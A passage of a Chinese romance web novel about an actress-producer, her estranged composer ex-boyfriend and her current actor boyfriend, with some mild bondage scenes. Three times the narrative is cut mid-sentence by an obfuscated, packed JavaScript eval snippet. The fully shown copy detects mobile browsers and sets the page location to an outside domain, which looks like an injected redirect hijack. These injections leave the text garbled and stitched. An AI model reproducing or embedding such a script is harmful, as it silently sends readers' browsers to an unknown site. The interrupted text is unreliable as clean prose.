“你非要到国外找她?如果不是她,你爸不会死!她害死了你爸!” “我爸的意外和她没关系。”路潮不能忍受泼到林微澜身上的脏水,他拨开母亲的手,紧咬下唇,“等我回来,我们再好好聊。” 据打听到的消息,林微澜在E国的住所就在附近,他买了她喜欢的卡布奇诺玫瑰,希望能遇见她。 他会低头,他会认他根本想不通错在何处的错。他受不了没有林微澜的日子了,即便才分手一个月,他却觉得过了一年那么久。 在寒风里熬了半个小时,路潮终于望见从长街尽头走来了一女一男。 他们的举止相当亲昵,女生穿着不合尺码的薄外套,像是男款,怀里抱一只半人高的兔子玩偶,笑吟吟地和男人说着话。 路潮的脸色暗下来。 即使夜色朦胧,他也能隔着遥遥距离一眼认出前女友。 她正在笑。 笑声轻飘飘地、无孔不入地钻入路潮身体每一寸,却没有使路潮快乐幸福,他只觉得冷。 那个男人,是谁? 随着林微澜两人逐渐走近,路潮看清了那男人的容颜。 年轻俊美,而且非常熟悉。 路潮想起来了,他常在娱乐版热搜和妹妹的手机里看见这个男人,姓崔,国内当红的男演员,才十八岁,人气事业都蒸蒸日上,不和异性演员拍亲密戏,也不拍裸|露大量身体的戏份。 如果他没有记错,这男人签约了林微澜妈妈的公司星影传媒。 死男人,臭不要脸,路潮冷笑,勾引老板的女儿,一心想着攀高枝了吧。 他必须让崔世青滚远点儿,林微澜不是什么男人都配得上的,配不上她的男人都滚! “……姐姐,你考虑得怎么样了?答应我吗?” 正要上前,崔世青的声音便传进路潮耳朵。 林微澜将一缕鬓发撩到耳后,垂眸轻笑:“也许要请你再多等一会儿?” “一会儿?” 崔世青低头,柔声问:“‘一会儿’是多久?” 林微澜稍微偏了偏头,不知是什么神色。 下一秒,她忽地抓住崔世青领口,脖颈一扬,在崔世青脸颊落下浅浅一吻:“是几秒钟。” 路潮顿时感到整个世界都在天旋地转。 他和林微澜分手才一个月……她的心就变了! 他们的那几年算什么!? 林微澜根本不把他当回事,是不是,是不是?! 好得很! 负气地将玫瑰花砸进了垃圾桶,路潮头也不回,林微澜不把感情当回事,那么他也不要了! * 暴雨已经转小了。 餐厅到仁安医院,单程就要不少时间,林微澜一来一回地折腾,身心俱疲,轿车一停稳,她就匆匆跑下,直奔餐厅大门。 一路上崔世青都在安慰她,既然餐厅前台打了电话过来,说挂件掉在包厢里了,就不用着急。 怎可能不急,姥姥亲手做的毛绒挂件有很深的纪念意义,天底下独一无二,没有替代品。 怪她太粗心大意,那么重要的东西都能丢,回头得换个结实的挂件系环,免得再……树下有人。 一个撑着雨伞,正在张望的人。 餐厅内外都灯火通明,唯余这片斑驳婆娑的树影稍显晦暗。 纵然如此,林微澜还是看清了他是谁。 与对方四目相接的下一瞬,他手里的东西也落入林微澜眼眶,她的心沉了沉,走上前去。 “我的。” “哦。” 毛绒挂件沾着路潮掌心的温热,它在半空凝滞几息,被慢慢放入林微澜手中。 “拿好,”路潮板着脸,语气冷冰冰的,“不要再弄丢了。” 整晚都在躁动不安的心,终于在此时此刻安稳了。 林微澜攥紧毛绒绒的小兔子,安心地莞尔一笑,像一朵悄然绽放的百合,纯净淡然。 视线从掌心移向路潮,她与他目光相接不到一秒,他便迅速挪开了脸。 路潮抿唇,冷冷地解释:“前台叫我出来等你,你别多想,我没有特意等着。” 林微澜:“……哦。” 失而复得,林微澜再不想见到前男友,本也应说一声谢谢。 今晚在场的人,只有路潮和廖锦认得这是她的挂件,廖锦不必通过前台联系她,那么前台打电话是谁的主张,不言而喻。 她还未启唇道谢,路潮的眼睛竟已越过她,盯紧了为她撑伞的男人。 男人虽戴着帽子口罩,路潮却认出他是谁。 许多个下雨的夜晚,路潮都能愱恨地、愤怒地想起这张脸。 三年了,林微澜抛弃他的许多个日夜里,是这个男人陪在她身边。 “新男朋友啊?” 路潮双手空空的时候,惯于把双手插在兜里,因容貌气质出众,并不显得他吊儿郎当,仅有些拽劲儿。 他略挑了挑眉,嗤笑一声:“大晚上的戴帽子,不敢见人?” 崔世青愣了下,他怎么会不敢见人,他有观众和网友们公认的美貌,糊过、挨骂过、演技烂过——唯独没丑过。 但他没必要为了证明自己而摘下帽子,明星走到哪里都可能遇见狗仔。 他和林微澜地下恋爱,短期内不会公开。 话头既对准了自己,崔世青总得回应什么,才不显得失礼,也能彰显他的大度和正宫地位。刚好这是第一次和微微的初恋见面,他可以自我介绍一番。 奈何路潮没给他机会。 “林小姐,”路潮垂了半瞬的眼缓缓掀起,眸底满是讽刺,“眼光不行。” 说林微澜眼光差,本质是讲崔世青不够格,林微澜听出前男友的本意,也知道两个男人较劲的时候,最愉快的做法是作壁上观。 但她讨厌路潮嘲讽崔世青的时候还要带上她。 分手三年,跟从前一样,路潮依旧讨人厌,依旧浑身是刺。 他一点都没有变。 林微澜忽然很庆幸,和路潮分手,绝对是她做过的最正确的决定之一。 矛盾不会因为爱而消解,甚至会翻过来让爱变质,长痛不如短痛,分手的时候再痛苦,到后来不都不痛了? 她笑着,连回击的话都说得温柔:“是啊,我眼光不好,当初才会看上你。” 绵里藏针的话扎进路潮心口,令他几近窒息的同时,想到了前女友的真面目。 林微澜文静美丽的皮囊下是什么,他曾有幸知晓。 “微微,别和他生气。”崔世青揽住女友的肩膀,意味深长睨路潮一眼,“我们回家,你是不是很累了?” 目光交汇的刹那,路潮捕捉到他眼中的挑衅意味,顿时怒上心头。 不仅是眼神,他还注意到,崔世青的两只手腕,都有一圈红痕,是被勒过的痕迹。 那是什么东西留下的,别人也许猜不出来,路潮知道。 也许是林微澜的头绳。 也许是情|趣手|铐。 总之逃不脱这些奇怪的东西。 崔世青倒是很听话,愿意陪林微澜玩花样,路潮承认,在自甘下|贱这方面,自己比不上崔世青。 “嗯,走吧。”林微澜转了身,她还有工作要忙。 热恋中的情侣相依偎着上了车,只有路潮还站在树下,浸润在湿漉漉的夜色中。 真亲密啊,靠得那么近,搂得那么紧,车轮驶去了,把路潮的视线焦点也一寸寸带向远处。 原本应该是他的,为林微澜拉车门的人原本应该是他。 如果是他,绝对不会把伞打那么高……林微澜肩头都沾到雨了。 * 十点钟,路潮下了晚班。 自从林微澜和崔世青相依偎着离开餐厅,他的心思就不在工作上了。 经理盯他盯得紧,他不能光明正大地看微信,又不能一直借口往卫生间躲,因而一下班,他急不可耐地拉开手机通知栏。 林微澜:【你好,明天你有时间吗?有几首歌需要改,郑导应该和你沟通过了。】 是九点半发过来的消息,也就是林微澜拿回毛绒挂件不久的时间点,路潮过了半个小时才看见。 他把这段话翻来覆去看了五六遍,好像林微澜就坐在她身边,发丝间萦绕淡淡的沐浴露香气。 林微澜应当是很着急的,因为九点半实在不是正常谈工作的时间。 路潮发送出一段简短的回复:【有时间,但是不能面谈,微信聊。】 又等了五分钟,没有回复,他才启动摩托车往家赶。 路家原来的房子已经变卖,他们一家人现在在租房住,离一缕炊烟不远。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路卓君胃口寥寥,勉强吃了些宵夜:“小曦快期末考试了,最近你少来医院,多在家里陪她,帮她补补课。” 路潮:“我才检查完她的作业,没有大问题。她学习很自觉。” 话音才落,路潮的手机便响了一声,他漫不经心瞥了眼,立时瞳孔一颤。 【林微澜:十点半了,不方便再打扰。我们明天聊。】 是林微澜的消息。 她不喜欢换头像,微信头像好多年了,都还是她第一次登台演出的剧照,十几岁的女生美丽青稚,穿着白色戏服,投入地歌唱。 “小潮?发什么呆?谁的消息?”见儿子傻乎乎地愣着,路卓君伸手推了推。 “啊——不是谁,工作上的同事。”路潮回过神,有意把手机屏幕挪近,生怕母亲知道他在和林微澜聊天。 无论路潮怎么开解,路卓君都坚定认为丈夫的死少不了林微澜作祟,“林微澜”三个字是她的禁忌,绝对不能提。 路潮:【我睡很晚,不算打扰。】 林微澜:【方不方便接电话?】 接电话肯定不行,路潮一说话就会暴露:【不方便,我喉咙发炎。你发语音,我打字。】 不一会儿,林微澜发来一段语音:【我们有六首歌要改。首先是女主角色曲的副歌,不符合人物特质,人设崩坏,要改。】 路潮:【什么特质?】 路潮不完全理解《天堂鸟》的主角,他从来都只理解林微澜一个人。 女主角的角色曲,是他们分手后他写出的少有的佳作,是他结合林微澜的外形气质和征稿要求,精心作编的良曲。 诚然,作曲时过度地考虑演员本人的形象,很容易偏离角色,而且他写歌的时候,《天堂鸟》还没有得到林微澜的青眼。 然而从结果来看,出品方对路潮的巧思是认可的。 林微澜:【我把自己写的人物小传发给你。】 路潮喉结轻滚,她第一次当制作人,很辛苦吧? 选演员、改剧本、改歌曲,她一忙起来就不知道吃饭,还会焦虑得啃手指甲,好坏的习惯…… 路潮:【你很着急要新版本吗?】 路潮:【我可以明天交。】 路潮:【不要加急费。】 5. 一颗露水 “微微,你走了吗?” 雏菊味的香薰混着橙子味沐浴露,碰撞出加倍的清甜。 眼前黑蒙蒙的一片,双腿动弹不到,双手也被反缚到身后,崔世青浑身上下只穿着一条内|裤。 他已经在干燥的浴缸角落空等了很久。 崔世青没听到女友离开浴室的动静,可他慌得不行,放置play一点都不好玩,他宁愿林微澜来扇他巴掌,也不想孤零零一个人。 今晚是他第一次来嘉珑花园,就得到了留宿的殊荣,也得到了不轻的“惩罚”。 玩具还夹在他胸口,时不时释放出令他酥酥麻麻的电流,还有肩头快要见血的咬痕,都叫他同时领悟着痛与快乐。 没人说话。 “微微?”崔世青有些急了,挣扎着想要脱离束缚,甚至溢出了哭腔,“微微你在哪儿?” “嘘——” 女人温柔的嗓音如同来自虚无,听得崔世青心里咯噔一下,乖乖缩回身子,不再动了。 “我在聊工作。”林微澜裹着浴袍坐在浴缸边缘,神情专注。 她和水浪的聊天断断续续的,两个人的空闲时间根本连不上,她有空的时候他不回复,她忙着和男朋友缠绵的时候,他却能回答。 唯一能叫林微澜宽慰的,是水浪的配合意愿很高。 他居然明天就能交付新版本的作曲,而且不要加急费。 “我不洗了,我给你解开。”用来绑住崔世青双手的道具,是林微澜的内衣,她精通捆绑绳结的技巧,轻轻一抽,就把男友解放了出来。 崔世青迫不及待拉下眼罩,褪去脚踝上的长绳,穿好衣服,跟在林微澜身后出了浴室。 浴室和书房用的是两种不同气味的香薰,书房这一款更清醒提神,淡淡的绿茶调。 林微澜爱好搜集不同气味的香薰,在每个房间都摆上,用完的香薰瓶子全部收藏起来。 她又浏览了一遍人物小传,确认没有问题后,发给了水浪:【看完这个,你应该能对人物理解到七八成。这几天你可能会辛苦点,加急费我们会照付的。】 人物小传有八千多字,详细分析了主角青绿的人生经历和性格变化。 “微微,吃夜宵吗?我给你点一家健康干净的外卖。”崔世青倒来两杯温水,其中一杯放着润喉的茶包,是给女友的。 两只水杯是情侣款,而这栋别墅,只长久地住过一对情侣,崔世青并不是其中一只的主人。 “从哪找来的杯子?”相同的烤瓷色调叫林微澜恍惚,三年没住嘉珑花园,她都忘了这对水杯收纳在哪里了。 “酒柜的玻璃门里呀,”崔世青大抵是眼睛出了问题,没认出水杯外形的奥妙,否则他肯定不会拿来用,“还挺好看的,很特殊。” 这是林微澜和路潮在瓷窑里烧出来的,天底下就这么两只,当然特殊。 杯肚上画着玫瑰花,鲜艳欲滴,它永远不会随着时间流逝褪色,有些记忆也很难忘却。 ——和路潮恋爱的四年,不管多么深的夜,负责做饭的阿姨在不在,路潮都没让林微澜吃过外卖。 “世青,你为什么不学着自己做饭?很难?”林微澜不介意吃外卖,健康干净就行。 可是现在,她想要一个会做饭的男友了。 “我?我学?”崔世青指着自己的鼻尖,满脸难以置信。 他和林微澜在E国结识、定情,先是谈了两年异国恋,又用一年结伴环球旅行,他不仅缺少做饭给林微澜吃的机会,更没有那种能力。 林微澜的坏情绪一向是内隐的,她的嗓音照旧温和清冽,只不过眉心蹙起了盈盈山痕:“冰箱有我爸包的水饺,你去煮。” “好呀,你等我。” 崔世青怕说“我不会煮水饺”会光着上半身跪一晚上,因而小鸡啄米似的点了几下头,没事,他上网搜就行了。 书房只剩下林微澜一个人,她把路潮用过的那只瓷杯连水带杯地扔进垃圾桶,转头询问水浪:【你哪天有空?有些问题,最好还是面谈,你ip也在上央,见面很方便。】 水浪:【我社恐,真不方便。】 林微澜:“……” 行吧。 茶香氤氲在电脑屏幕上的字里行间,林微澜单手托腮,新建了个文档,开始写创立音乐剧工作室所需的运营计划书。 漫上来一点思绪,很快又被扼杀,再漫上一点,照旧没有存活太久。 只需一呼吸,林微澜就能嗅到茶香,继而想到装茶水的瓷杯,再想到和她一道做杯子的人。 记忆里的路潮,总是光鲜亮丽、高傲不羁,一天到晚也没几个好脸色,对谁都爱搭不理。 但他只会向她低头。 他会俯下脖颈,轻轻将下颚放在她手中,笑着唤她“微微”,说喜欢她。 可他身上的光芒色彩终究褪去了,两人间的感情也没有了。 林微澜强行把自己拽出了回忆,长久地缅怀过去太危险了,会叫人分不清真实和虚妄。 她抿了一口水,深呼吸。 为了投资《天堂鸟》,林微澜和林倩详谈过,站在的专业角度看,林倩不认为《天堂鸟》的剧本雏形值得投进去一百万。 投资的风险,林微澜一清二楚,但她很喜欢这个本子,所以,再怎么样都没有关系。 只要可以出演喜欢的剧本,她甘愿赔钱;只要能演中意的角色,她欣然接受十八番小配角的待遇。 她出道以来,并非没演过小配角,以她的能力、背景,即使因资历不足拿不下一番,拿个二番也绰绰有余了,偏偏她就面试过四五番的配角,别无他因,只因为她喜欢那个角色。 林微澜是林倩和赵元修的女儿,是众星捧月的公主,人生拥有无数的试错机会,哪怕在舞台上摸爬滚打几十年仍名不见经传,也有人为她兜底。 但是创立音乐剧事业部则不同,她需要对员工负责,不能仅凭自己的喜好做事。 滴滴—— 微信提示音响了,水浪发来了新消息。 水浪:【我看完了。】 林微澜:【有想法吗?】 水浪:【你直接说要求。】 林微澜不悦地敲了敲桌面,水浪愿意积极配合修改作编曲是很好的事,可是这态度…… 她还是喜欢更有想法、更有主见的合作伙伴。 比如,前男友。 会陪她挑选剧本,会和她一起讨论揣摩人物,会在排练厅角落里抱着保温杯等她的,前男友。 前男友会写歌给她,投稿到她的剧组,她还在台上唱过其中几首,由路潮创作的《弗洛瑞安娜》同名曲至今都是林微澜简历里的代表作。 可惜都是过去了。 代表作会跟随林微澜的一辈子,人和感情不会。 林微澜索性把要求详细地罗列给水浪,又说:【有疑惑再来问我。】 水浪:【嗯。】 * 今晚路潮没有在医院陪床。 借着卧室明亮的台灯,他瞪大眼,反复仔细阅读林微澜写的人物小传,尝试品味其中的玄机绝妙。 林微澜要求主角的角色曲应体现出“坚定感”。 什么叫“坚定感”啊? 路潮头痛。 屏幕上密密麻麻的文字如同咒语,林微澜则是给他施咒的术士,不允许他的思路有片刻的止歇。 不允许是一回事,着实做不到,又是另外一回事。 路潮为灵感的缺失焦躁起来,从前不是这个样子的,从前林微澜与他聊剧本聊角色,他都能很快领会到,两个人的心意是通的。 他懊恼又自责地胡乱拨了两下吉他,曲不成曲,调不成调,难听得不行。 书桌上了年头,总到下雨天,总觉得桌面上凝了一层水雾,像这样经不起潮湿的环境,有些东西就不能用纸质来保存。 在路潮的网盘相册里,存着一些有关林微澜的东西,大部分都是照片,有林微澜拿他手机拍的自拍,也有两个人的合照。 这些东西曾经被路潮一气之下删除过,不出几天就灰溜溜地从回收站找了回来。 他一张张翻着,最终目光定格在一张《弗洛瑞安娜》的剧照上。林微澜穿着红色的戏服,肢体舒展,在模仿花朵逐渐开放的动态。 路潮记得林微澜演这场戏的日子,那时候她腰伤复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林微澜面露错愕,赶紧点开文件试听,唇角的笑意一点点漾开。 是她想要的效果。 曲调是对的,编曲非常契合唱段剧情对应的氛围,而她和水浪只不过交流了寥寥数语,水浪看完了她的人物小传,就明白了她想塑造什么样的角色。 演员的作曲人的默契,好难得。 林微澜不禁想,如若她和路潮没有分手,她的身边应该还有一位合她心意的作曲人吧。 林微澜:【收到了,这首歌就定下来吧,后续不用再改了。加急款稍后打给你。是熬夜完成的吧?方便的话,我请你和郑导一起吃顿饭。】 六点半交稿,这会儿水浪十有八九补觉去了,林微澜不指望得到回复,洗漱更衣完就下了楼,现在是她运动的时间。 然而手机偏就响了。 水浪:【我说了不要加急款,之前不是打过稿酬吗?】 水浪:【不要钱,也不约饭。】 林微澜:“……” 郑东晴不是说水浪急缺钱用? 好莫名其妙的一个人,给钱都不要,何况这钱本就是他应得的。 林微澜发了个简短的“嗯”过去,没有说别的话。 * 昏昏沉沉的眼皮根本睁不开,路潮熬了个大夜,六点半才编完新版本的曲子。 这之后他也不敢睡,靠嚼茶叶吊着精神,一心等着林微澜七点钟醒。 林微澜的作息时间,他了如指掌。 等她醒来,会不会赞美他的新曲子? 她已经三年没有夸过他的歌好听了,他也三年没有写出过什么好作品。 她会失望吗?会让他再改吗? 都没有。 林微澜只是平静地说“定下来”,未表达任何的赞美。 失望之情压倒所有通宵的不适感,路潮愣愣瞪了会天花板,窗外天色已大亮,但他再也睡不着了。 6. 一颗露水 接下来的一个多星期,林微澜与水浪返工了6首需要修改的曲目。 水浪总是很忙,尤其是午餐晚餐的时间两个时间段,基本不回消息。 好在林微澜和他的沟通很顺利,水浪话不多,三言两语就弄清林微澜的要求,悟性与效率都很高。 至于加急费、返工费,林微澜每次都转,他总原路退回。 不收加急费,话很少,语气有些冲,能与林微澜达成默契,这叫林微澜不得不好奇水浪是什么人了,可惜水浪好像活在铁桶里,从来不透露。 有些做音乐的人就是古怪,慢慢的,林微澜就不再好奇了。 剧本和曲目终于全部定稿,精修过的《天堂鸟》,起码能从70分进步到85分,这是“普通”到“优秀”的跃迁。 这周周五,《天堂鸟》开始挑选演员的一轮面试。 面试地点定在流金大剧院一号排练厅,林微澜身为制作人与主演,到场把关。林倩来帮她镇场子,同时也想看看有没有演艺方面的好苗子。 “最后一段,请你再唱一遍。”林微澜面无表情,向演员提出要求。 演员慌了神,硬着头皮又唱了一遍,却远不如第一次表现得稳当。 她表演的歌曲很特别,是林微澜的代表作《弗洛瑞安娜》。 几位面试官低声讨论了几句,因为林倩地位最高,都纷纷望向她。 林倩注意到众人汇聚来的目光,却引导着所有人,把焦点聚集在林微澜与郑东晴两个后辈身上。 话语权在谁手里,非常重要。 太多前辈在场,郑东晴不太敢大声说话,她碰了碰林微澜的手肘,头颅轻点,她觉得,这位演员不错。 “基本功很好,可惜太不稳定了,第二遍声音抖得没法听。”林微澜遗憾地摇了摇头,用演员听不到的声量给出了评价,“她心态不好。” 而后,她提高声音,请这位演员离开会议室:“回去等消息,谢谢你来面试。” 她低头扫了眼演员简历,名字很特别,叫做艾琳,履历那一栏几乎是空的,只有在学校音乐剧社团表演过的两次经历。 “老师,我……”艾琳还有话想说,但一看林微澜平淡的面色,就什么都不敢说了,“好的,谢谢各位老师。” 艾琳离开后,面试官席位上的声音才好高一些,林微澜问郑东晴:“你觉得呢?” 郑东晴乐呵呵地点头,由衷表示:“我觉得很好啊,可以试试。” “你对她的实力没有看法?” “呃……我不是专业演员,不懂评判硬实力。我是觉得她的形象实力都很好,可以再给个机会。也许她只是太紧张了?毕竟她唱的是林老师您的代表作。” 林微澜默了默,她属于金字塔尖上的那批演员,对中底层演员的难处体会得比较少,但不表示她一无所知。 而且,郑东晴作为新人导演,如果她的话语权提不上来,排练过程会很麻烦。 “那就进下一轮吧。”林微澜在艾琳的名字后面做了个记号,“她的基本功确实很好。” 一天的面试下来,进入二轮面试的演员都定了,林微澜坐得腰酸背痛,轻轻揉着后腰。 表演厅不剩几个人了,林倩探过身来,笑问:“宝贝,今晚回家吃饭好吗?” 林微澜摇头:“我还有事。沈老师喊我回母校参加活动,下次有空再回家吃饭。” 回国后,她和曾经的人脉逐渐联系上,其中包括她的高中班主任沈老师。她读高中时很受沈老师照顾,恩师一请她回校给学生做个演讲,她也就答应了。 林倩:“下次什么时候有空?” “嘉珑花园离公司不远,你和爸爸想去就……”察觉到母亲难掩盖的失落,林微澜蜷起了手指,改口说,“后天吧,后天晚上。” “好,那就后天。”终于所有人都走了,只剩林倩母女。 林倩收拾文件纸张的样子显得无措,不是演技,是真心:“成立戏剧工作室已经报给工商局走流程了。之后,《天堂鸟》的出品方会挂工作室的名字,公司也会再追加一笔投资。” 都是演员,又是血脉相连的母女,林微澜哪能看不出妈妈的情绪。 她的心揪了下,本能地,尝试抓住林倩的手腕,偏偏很不巧,林倩正好侧过身,母女俩的身体就这样错开。 “妈妈?”林微澜收回手,不再有动静,“你还好吗?” 林倩莞尔一笑,这次是演技了:“我挺好的呀。我只是想到你小时候,特别黏我和你爸爸。” 林微澜七岁之前,的确非常黏人。 她崇拜星光四射的妈妈,想做和妈妈一样的大明星,她也喜欢爸爸,因为爸爸会给她做好吃的,会领她出去玩。 可是林倩与赵元修的职业,注定了他们没办法长时间陪在女儿身边。 红透半边天的演员,常年在外拍戏;律师,忙起来饭都顾不上吃。 七岁之后,林微澜就不黏人了。 她开始逃学、装病,做一切能引起双亲注意的事,赵元修不得不辞职在家照顾她,并且往后的十几年再没进入过职场。 等林微澜逃学、装病、吸引双亲的问题解决,那个黏着妈妈爸爸的小孩子已经不见了影子。 “小时候是小时候,我们一家人现在也很幸福的。我先走了,妈妈。”发觉林倩进入到了对往事的怀念里,林微澜唯一能想到的办法,就是逃。 林倩默许了她的离开。 林微澜要从母亲的香水气味里逃走,从母亲深深的注视里逃走。 因为她不知道用什么样的神态,才能既不伤害到林倩,又不不受控制地落下泪来。 * 把车停进一中停车场,林微澜直奔教学楼,沈老师在楼下等她。 沈老师是她高中的班主任,好几年不见,鬓边生出了白发,但慈祥和蔼的笑容没有变。 “林微澜,你变化很大啊,成大姑娘了。”沈老师当年最喜欢的学生就是林微澜,学习成绩好,性格文静,“你很有成就,让我脸上有光。” 林微澜笑了几声,与沈老师寒暄了一阵。 沈老师:“不能占了学生们上课的时间,只能占晚自习。现在还不到七点半,一中这几年变化挺大的,我带你转转。” 毕业七年,很多地方林微澜都认不出来了,她转了好几个处,都要靠沈老师的提醒才想起来这是哪儿。 “前面是美术教室,咱们进去看看。你可以找找,有没有陈列你的画。”沈老师说。 “我画得不行,美术课经常只拿及格分。”林微澜绝非谦虚,她的艺术天赋几乎都在歌舞和演戏上,对画画一窍不通。 明知美术教室的陈列栏不会有自己的大作,她仍仰起头,一副副地欣赏。 那个时候,班里美术课成绩最好的人是…… 忽然,她怔了一下,一抹异样情绪蔓延上眉宇。 在优秀作品陈列区,张贴着一副有些年头的素描,画纸中央是一位穿病号服的年轻女性,没有画五官,但技法非常纯熟,姿态轻盈灵动。 沈老师循着林微澜的目光望去,也讶异地叹了一声: “哟,这幅画是路潮的作品,右下角有署名。林微澜,你应该记得路潮吧?” * 高一开学第一天,班里都是陌生人,班主任沈老师为了增进同学之间的了解,要求大家上讲台做自我介绍。 于是,林微澜上台时,就在最后一排看见一张非常熟悉的脸。 她恍惚了一下,险些以为自己在剧院演出,那个从只顾玩手机,到十二场全勤的男观众,又买了票。 对方显然也认出她,唇角浮现她熟悉的笑意。 她知道他的名字,路潮。 做完自我介绍,林微澜下了讲台,坐回了教室最左边靠窗的位置,路潮则坐在最右边,两人的座位相隔万里。 下课铃一响,沈老师前脚才走,路潮迫不及待走到她跟前,弯腰唤道: “林微澜?这么巧?我记得你,你还记得我吗?” 我记得你——对于许多演员来说,被观众记住名字和长相,是一件非常幸福的事,林微澜不能免俗。 何况眼前这位观众,全勤观看了她的表演,和她互动过很多次,她会记得一辈子。 一种酥酥麻麻的感觉流过林微澜心尖,她认真地点点头:“你好,我记得你,路潮。” “记得我什么?”路潮眼睛一亮。 “记得我的第一次演出,你有半场都在玩手机。”林微澜用最平静的语气,说着最耿耿于怀的话。 路潮一哽,仿佛有几分心虚,这人怎么这样啊,她在剧场里和观众互动明明挺客气的啊: “后半场我不是认真看了?而且我是全勤观众,只要卡司是你,我都去了,你怎么不记得我给你送了八场玫瑰啊?” 剧场里的林微澜是演员,学校里的林微澜只是林微澜,身份再怎么变,记忆是变不了的。 十二场演出,八场互动,八束玫瑰,林微澜怎可能忘记,只不过听路潮的意思,竟然是专门去看她的? 她心中生了困惑,和一点零星的期待:“什么叫‘只要卡司是我’?” 路潮的双手插在兜里,眼睛往窗外看:“就是……我只想看你演。别人演的不好看。” 林微澜一怔。 真的会有观众为了她买票。 难怪在那八场互动里,路潮只和她一个人互动,他是为了她来的。 林微澜的心像被什么揉了一下,语气温和三分:“谢谢你。你送的花,我都插进瓶子里了。” “真的?”路潮松弛的脊背忽然绷紧。 “真的。”观众送的东西,林微澜都好好保存着,“谢谢你,路潮。” 路潮的眼神倏然就漂浮了起来。 他胡乱瞅了几个地方,捂着发热的右耳耳根,快速说了句:“……先不说了,走了。” 他的耳朵全红了。 ——林微澜看得很真切,很疑惑。 和演员互动,许多观众都放不开,整个人都是拘谨的,可她记得,路潮从没害羞过。 林微澜弄不明白,也没放在心上,只感叹缘分的奇妙,把她和自己的忠实观众分在了一个班。 次日的最后一节,是美术课。 开学前三天,高一不安排晚自习,下午五点多钟就能放学回家。 林微澜不急着走,她对自己的作品不满意,非要画得满意了不可。 斜阳晚照,美术教室只剩她一个。走廊里的吵闹声近了又远,到最后几乎听不到任何动静,林微澜就知道,附近几个教室的学生都走得差不多了。 “林微澜。” 是路潮的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180377|180929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林微澜回头,发现教室里不止自己。 路潮穿过一排排画架,从最后一排走到她身边:“开学了,你是不是没时间演音乐剧了?” “嗯,我要读书。”林微澜不爱和不熟悉的人说话,但出于对路潮全勤观演的感谢,她愿意多说几句回答他。 她的梦中情校就在国内,文化课分数很高,所以她暂时搁置了参演音乐剧。 “寒暑假呢?寒暑假还演吗?”路潮直接挪了把椅子过来,一屁股坐下,眼神很是热烈。 林微澜:“看情况,首先要有我喜欢的角色或者剧本,其次要通过选拔面试。大概率是不演的,因为时间太短。” 路潮很诧异:“这么麻烦啊?我还以为你妈是大明星,你想演什么就演什么呢!” 禁忌被他轻易戳中了,林微澜拉下脸,立刻就收拾文具要离开:“拜拜。” “你怎么了?”路潮一头雾水,为她愠怒的脸色发懵,“我惹到你了?” 林微澜的忌讳被戳中,她为什么十六岁就能演女主?因为她靠硬实力在选拔面试中过关斩将,和林倩一分钱关系都没有。 路潮在轻视她的能力和决心,他和那些无聊的人一个样。 “林微澜,我招你惹你了?”路潮没有追上去,他身上有点脾气,莫名其妙被甩了脸色,恼火得很。 这话才说完,已经走出教室门口的林微澜竟大步折返回来,仰头将他盯死了。 她脸颊气得泛红,严肃地要求:“向我道歉,快点。” 路潮板着脸:“理由?” 林微澜:“我演什么剧和我妈没关系。你应该为你的狭隘和误会向我道歉。” 路潮沉默几秒钟,眼见林微澜的眉毛皱得愈发紧,终于轻声说了句:“对不起。” 林微澜要的就是这句道歉。 她心满意足,走出美术教室,却在窗边无意往教室里一瞥,随后怔住了。 有一张画架上的作品,画的好像是她表演时的剧照,病号服、披肩发,手掌捂在心口,但是没有画五官。 “是我画的,你在《病》里演的那个角色。”路潮骄傲得意,等着林微澜夸他画得好,“画得怎么样?” 林微澜松快的表情却顷刻间凝滞住,冲路潮骂了句: “神经病。” * 上央一中请了好几位来宾给学生做演讲,林微澜是其中之一。 活动结束已是晚上八点多钟,今天不继续上晚自习了,学生们该回家的回家,该回宿舍的回宿舍。 林微澜多和沈老师聊了会儿天,九点整才走。 路上已经没有几个人,学生们放了学就散得很快,唯有红绿灯是不会散的,长达一分多钟的红灯,把林微澜拦在了路口。 “……你怎么可能一分都掏不出来?你家以前多有钱啊,瘦死的骆驼比马大!快点,钱拿出来!” 路边的巷子里有人声。 林微澜徐徐转头,望向路边一条幽深昏暗的小巷。 那道人声还很年轻,很有可能是刚放学的一中的学生。 林微澜靠边停车,打开手机录像功能,阔步走进小巷。 真见她猜对了,小巷里采光非常差,只有一盏昏黄路灯,几个人影围着一个形单影只的,一看就知道在做什么。 “喂!” 林微澜喊了一声,又说:“我已经报警了,正在录像,警察马上到。一中的领导我都认识,我会向校方举报。” 她喉咙里仿佛有一把利刃,冷而锋利,那几人年纪不大,轻易就被唬住,从小巷另一头落荒而逃。 林微澜自然没有追,她一个人可抓不住四五个,何况巷子里还有个受了欺负的学生,也许需要她的帮忙。 为了看清对方的脸,她往前走了几步:“你是一中的学生?哪个班的?班主任是谁?你别害怕,我帮你报警、联系家长。” 那个学生肩膀抖了一下,慢慢向林微澜靠近,带着些迟疑: “……微微姐?是你吗?你是林微澜吗?” 从阴影里走出来一位扎低马尾的女生,长得和路潮有三分像。 “路曦?”林微澜万分诧异。 